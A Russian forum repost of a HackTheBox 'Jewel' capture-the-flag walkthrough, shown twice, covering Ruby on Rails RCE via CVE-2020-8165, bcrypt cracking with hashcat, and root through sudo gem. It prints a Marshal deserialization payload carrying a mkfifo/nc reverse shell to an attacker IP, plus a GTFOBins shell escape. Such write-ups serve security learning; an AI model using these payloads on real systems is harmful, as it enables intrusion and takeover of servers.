[Информационная безопасность, Ruby on Rails, CTF] HackTheBox. Прохождение Jewel. RCE в Ruby on Rails, sudo и google authenticator, выполнение кода в gem
Автор
Сообщение
news_bot ®
Стаж: 6 лет 9 месяцев
Сообщений: 27286
Продолжаю публикацию решений отправленных на дорешивание машин с площадки HackTheBox. Надеюсь, что это поможет хоть кому-то развиваться в области ИБ. Подключение к лаборатории осуществляется через VPN. Рекомендуется не подключаться с рабочего компьютера или с хоста, где имеются важные для вас данные, так как Вы попадаете в частную сеть с людьми, которые что-то да умеют в области ИБ :) Организационная информацияОрганизационная информация Специально для тех, кто хочет узнавать что-то новое и развиваться в любой из сфер информационной и компьютерной безопасности, я буду писать и рассказывать о следующих категориях:- PWN;- криптография (Crypto);- cетевые технологии (Network);- реверс (Reverse Engineering); - стеганография (Stegano);- поиск и эксплуатация WEB-уязвимостей;Вдобавок к этому я поделюсь своим опытом в компьютерной криминалистике, анализе малвари и прошивок, атаках на беспроводные сети и локальные вычислительные сети, проведении пентестов и написании эксплоитов.Чтобы вы могли узнавать о новых статьях, программном обеспечении и другой информации, я создал канал в Telegram и группу для обсуждения любых вопросов в области ИиКБ. Также ваши личные просьбы, вопросы, предложения и рекомендации рассмотрю лично и отвечу всем (ссылка).ReconДанная машина имеет IP адрес 10.10.10.209, который я добавляю в /etc/hosts.
10.10.10.211 jewel.htb
Первым делом сканируем открытые порты. Я это делаю с помощью rustscan.
rustscan jewel.htb -- -A
Порт 8080 отвечает за gitweb.
Отметим для себя наличие Gemile, что свидетельствует об использовании Ruby. На порте 8080, видимо, расположен сам проект.
И мы имеем возможность зарегистрироваться и авторизоваться.
Entry PointКак оказалось, мы можем найти уже готовый готовый эксплоит для данной версии Ruby on Rails.
USERДавайте соберем эксплоит. Для начала установим все необходимое и запустим ruby интерпретатор.
git clone https://github.com/masahiro331/CVE-2020-8165.git
gem install bundler:1.17.3
apt install sqlite3 libsqlite3-dev
bundle install --path vendor/bundle
bundle exec rails db:migrate
bundle exec rails console
Теперь собираем свой эксплоит, в качестве нагрузки использует реверс шелл.
code = '`rm /tmp/r;mkfifo /tmp/r;cat /tmp/r|/bin/sh -i 2>&1|nc 10.10.14.215 4321 >/tmp/r`'
erb = ERB.allocate
erb.instance_variable_set :@src, code
erb.instance_variable_set :@filename, "1"
erb.instance_variable_set :@lineno, 1
payload = Marshal.dump(ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new erb, :result)
puts "Payload"
require 'uri'
puts URI.encode_www_form(payload: payload)
И находим форму отправки.
Перехватываем запрос в Burp и подменяем имя пользователя.
И получаем бэкконнект.
ROOTИ у меня не вышло авторизоваться по SSH, записав ключ, а также скачать что-либо со своего хоста, поэтому пришлось проводить поиск методов LPE самому. И в домашней директории находим файл .google_authenticator, о котором можно почитать тут. Откуда и узнаем, что он используется, как дополнительный способ подтверждения к использованию sudo, в добавок к паролю.
Теперь нужно найти учетные данные. Дойдя до директории с бэкапами, обнаружим там доступный для чтения файл sql.
А там есть два хеша.
Брутим их и находим один пароль.
hashcat --example | grep -A2 -B2 '$2a'
hashcat -a 0 -m 3200 ./jewel.hashes ./rockyou.txt
Теперь используем данный пароль для sudo. После ввода пароля нас встречает запрос кода.
Для получения кода нужно установить следующее расширение для браузера chrome, и выставить системное время как на удаленном хосте.
И мы можем выполнить gem. Посмотрев базу GTFOBins находим способ выполнения команд с помощью gem.
sudo gem open -e "/bin/sh -c /bin/sh" rdoc
И мы берем рута.
===========
Источник:
habr.com
===========
Похожие новости:
- [Информационная безопасность, Администрирование доменных имен, Законодательство в IT] ИБ-компании пожаловались на захват Facebook доменов для фишинг-тестов
- [Информационная безопасность, Системное администрирование, IT-инфраструктура, IT-компании] Яндекс рассказал о компрометации 4887 почтовых ящиков по вине сисадмина с высоким уровнем доступа
- [Информационная безопасность, Разработка веб-сайтов, PHP, Антивирусная защита] Невидимые символы, скрывающие веб-шелл в зловредном коде на PHP (перевод)
- [Информационная безопасность] ТОП-3 ИБ-событий недели по версии Jet CSIRT
- [Информационная безопасность, Социальные сети и сообщества] Instagram вводит вечные баны за оскорбительное поведение
- [Информационная безопасность, Криптография, Хранение данных] Пароль как крестраж: ещё один способ защитить свои учётные данные (перевод)
- [Информационная безопасность] В «Шереметьево» и «Домодедово» будут распознавать лица пассажиров вместо проверки паспорта
- [Информационная безопасность, Разработка игр, Игры и игровые приставки, IT-компании] Украденные данные CD Projekt Red проданы вне рамок аукциона
- [Информационная безопасность, Здоровье] Причина взлома очистных сооружений в США — один пароль TeamViewer на всех и отсутствие брандмауэра
- [Высокая производительность, Информационная безопасность, IT-инфраструктура, Серверное администрирование] АМА-сессия «Service mesh 2021» 17 февраля
Теги для поиска: #_informatsionnaja_bezopasnost (Информационная безопасность), #_ruby_on_rails, #_ctf, #_ralf_rt, #_red_team, #_red_teaming, #_pentest, #_pentesting, #_ctf, #_informatsionnaja_bezopasnost (информационная безопасность), #_kompjuternaja_bezopasnost (компьютерная безопасность), #_informatsionnaja_bezopasnost (
Информационная безопасность
), #_ruby_on_rails, #_ctf
Вы не можете начинать темы
Вы не можете отвечать на сообщения
Вы не можете редактировать свои сообщения
Вы не можете удалять свои сообщения
Вы не можете голосовать в опросах
Вы не можете прикреплять файлы к сообщениям
Вы не можете скачивать файлы
Текущее время: 22-Ноя 19:07
Часовой пояс: UTC + 5
Автор | Сообщение |
---|---|
news_bot ®
Стаж: 6 лет 9 месяцев |
|
Продолжаю публикацию решений отправленных на дорешивание машин с площадки HackTheBox. Надеюсь, что это поможет хоть кому-то развиваться в области ИБ. Подключение к лаборатории осуществляется через VPN. Рекомендуется не подключаться с рабочего компьютера или с хоста, где имеются важные для вас данные, так как Вы попадаете в частную сеть с людьми, которые что-то да умеют в области ИБ :) Организационная информацияОрганизационная информация Специально для тех, кто хочет узнавать что-то новое и развиваться в любой из сфер информационной и компьютерной безопасности, я буду писать и рассказывать о следующих категориях:- PWN;- криптография (Crypto);- cетевые технологии (Network);- реверс (Reverse Engineering); - стеганография (Stegano);- поиск и эксплуатация WEB-уязвимостей;Вдобавок к этому я поделюсь своим опытом в компьютерной криминалистике, анализе малвари и прошивок, атаках на беспроводные сети и локальные вычислительные сети, проведении пентестов и написании эксплоитов.Чтобы вы могли узнавать о новых статьях, программном обеспечении и другой информации, я создал канал в Telegram и группу для обсуждения любых вопросов в области ИиКБ. Также ваши личные просьбы, вопросы, предложения и рекомендации рассмотрю лично и отвечу всем (ссылка).ReconДанная машина имеет IP адрес 10.10.10.209, который я добавляю в /etc/hosts. 10.10.10.211 jewel.htb
rustscan jewel.htb -- -A
Порт 8080 отвечает за gitweb. Отметим для себя наличие Gemile, что свидетельствует об использовании Ruby. На порте 8080, видимо, расположен сам проект. И мы имеем возможность зарегистрироваться и авторизоваться. Entry PointКак оказалось, мы можем найти уже готовый готовый эксплоит для данной версии Ruby on Rails. USERДавайте соберем эксплоит. Для начала установим все необходимое и запустим ruby интерпретатор. git clone https://github.com/masahiro331/CVE-2020-8165.git
gem install bundler:1.17.3 apt install sqlite3 libsqlite3-dev bundle install --path vendor/bundle bundle exec rails db:migrate bundle exec rails console code = '`rm /tmp/r;mkfifo /tmp/r;cat /tmp/r|/bin/sh -i 2>&1|nc 10.10.14.215 4321 >/tmp/r`'
erb = ERB.allocate erb.instance_variable_set :@src, code erb.instance_variable_set :@filename, "1" erb.instance_variable_set :@lineno, 1 payload = Marshal.dump(ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new erb, :result) puts "Payload" require 'uri' puts URI.encode_www_form(payload: payload) И находим форму отправки. Перехватываем запрос в Burp и подменяем имя пользователя. И получаем бэкконнект. ROOTИ у меня не вышло авторизоваться по SSH, записав ключ, а также скачать что-либо со своего хоста, поэтому пришлось проводить поиск методов LPE самому. И в домашней директории находим файл .google_authenticator, о котором можно почитать тут. Откуда и узнаем, что он используется, как дополнительный способ подтверждения к использованию sudo, в добавок к паролю. Теперь нужно найти учетные данные. Дойдя до директории с бэкапами, обнаружим там доступный для чтения файл sql. А там есть два хеша. Брутим их и находим один пароль. hashcat --example | grep -A2 -B2 '$2a'
hashcat -a 0 -m 3200 ./jewel.hashes ./rockyou.txt
Теперь используем данный пароль для sudo. После ввода пароля нас встречает запрос кода. Для получения кода нужно установить следующее расширение для браузера chrome, и выставить системное время как на удаленном хосте. И мы можем выполнить gem. Посмотрев базу GTFOBins находим способ выполнения команд с помощью gem. sudo gem open -e "/bin/sh -c /bin/sh" rdoc
И мы берем рута. =========== Источник: habr.com =========== Похожие новости:
Информационная безопасность ), #_ruby_on_rails, #_ctf |
|
Вы не можете начинать темы
Вы не можете отвечать на сообщения
Вы не можете редактировать свои сообщения
Вы не можете удалять свои сообщения
Вы не можете голосовать в опросах
Вы не можете прикреплять файлы к сообщениям
Вы не можете скачивать файлы
Вы не можете отвечать на сообщения
Вы не можете редактировать свои сообщения
Вы не можете удалять свои сообщения
Вы не можете голосовать в опросах
Вы не можете прикреплять файлы к сообщениям
Вы не можете скачивать файлы
Текущее время: 22-Ноя 19:07
Часовой пояс: UTC + 5